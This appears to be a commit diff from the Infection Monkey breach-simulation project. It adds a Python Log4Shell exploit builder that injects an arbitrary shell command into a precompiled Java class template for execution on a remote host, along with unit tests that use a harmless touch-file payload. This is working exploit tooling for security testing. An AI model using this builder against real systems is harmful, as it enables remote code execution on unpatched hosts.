Agent: Add build_exploit_bytecode for log4shell exploiter

monkey/infection_monkey/exploit/log4shell_utils/__init__.py

@@ -0,0 +1 @@
+from .exploit_builder import build_exploit_bytecode, InvalidExploitTemplateError

monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py

@@ -0,0 +1,62 @@
+import struct
+from pathlib import Path
+
+EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "Exploit.class.template"
+INJECTION_TAG = "###"
+
+
+class InvalidExploitTemplateError(Exception):
+    pass
+
+
+def build_exploit_bytecode(
+    payload_command: str, exploit_template_path: Path = EXPLOIT_TEMPLATE_PATH
+) -> bytes:
+    """
+    Build a payload used to exploit log4shell
+    :param str payload_command: The command that will be executed on the remote host.
+    :param Path exploit_template_path: The path to a file containing a pre-compiled Java class with
+                                       the placeholder "###". This placeholder will be overwritten
+                                       with the contents of payload_command. Defaults to
+                                       `EXPLOIT_TEMPLATE_PATH`
+    :return: Java bytecode that will execute the payload
+    :rtype: bytes
+    """
+    template_bytecode = _load_template_bytecode(exploit_template_path)
+    exploit_bytecode = _inject_payload(payload_command, template_bytecode)
+
+    return exploit_bytecode
+
+
+def _load_template_bytecode(exploit_template_path: Path) -> bytes:
+    with open(exploit_template_path, "rb") as h:
+        template_bytecode = h.read()
+
+    if not template_bytecode.startswith(b"\xca\xfe\xba\xbe"):
+        raise InvalidExploitTemplateError(
+            f"Trying to load non-compiled Java class `{EXPLOIT_TEMPLATE_PATH}`."
+        )
+
+    return template_bytecode
+
+
+def _inject_payload(payload: str, template_bytecode: bytes):
+    payload_bytes = payload.encode()
+
+    if not INJECTION_TAG.encode() in template_bytecode:
+        raise InvalidExploitTemplateError(f'No "{INJECTION_TAG}" tag to inject payload into.')
+
+    index = template_bytecode.index(INJECTION_TAG.encode())
+
+    exploit_bytecode = (
+        template_bytecode[: index - 3]
+        + str_size(payload_bytes)
+        + payload_bytes
+        + template_bytecode[index + 3 :]
+    )
+
+    return exploit_bytecode
+
+
+def str_size(data: bytes) -> bytes:
+    return b"\x01" + struct.pack("!H", len(data))

monkey/tests/data_for_tests/invalid_log4j_bytecode_templates/SourceCode.java

@@ -0,0 +1,5 @@
+public class SourceCode {
+    static {
+        System.out.println("Hello World!");
+    }
+}

monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_builder.py

@@ -0,0 +1,33 @@
+import pytest
+
+from infection_monkey.exploit.log4shell_utils import (
+    InvalidExploitTemplateError,
+    build_exploit_bytecode,
+)
+
+
+@pytest.fixture
+def payload():
+    return "bash -c 'touch /tmp/exploit-test'"
+
+
+@pytest.fixture
+def invalid_templates_dir(data_for_tests_dir):
+    return data_for_tests_dir / "invalid_log4j_bytecode_templates"
+
+
+def test_inject_command(payload):
+    expected_bytecode = b"\x21" + payload.encode() + b"\x0c"
+
+    exploit_bytecode = build_exploit_bytecode(payload)
+    assert expected_bytecode in exploit_bytecode
+
+
+def test_missing_injection_tag(invalid_templates_dir, payload):
+    with pytest.raises(InvalidExploitTemplateError):
+        build_exploit_bytecode(payload, invalid_templates_dir / "MissingTag.class")
+
+
+def test_uncompiled_java_class(invalid_templates_dir, payload):
+    with pytest.raises(InvalidExploitTemplateError):
+        build_exploit_bytecode(payload, invalid_templates_dir / "SourceCode.java")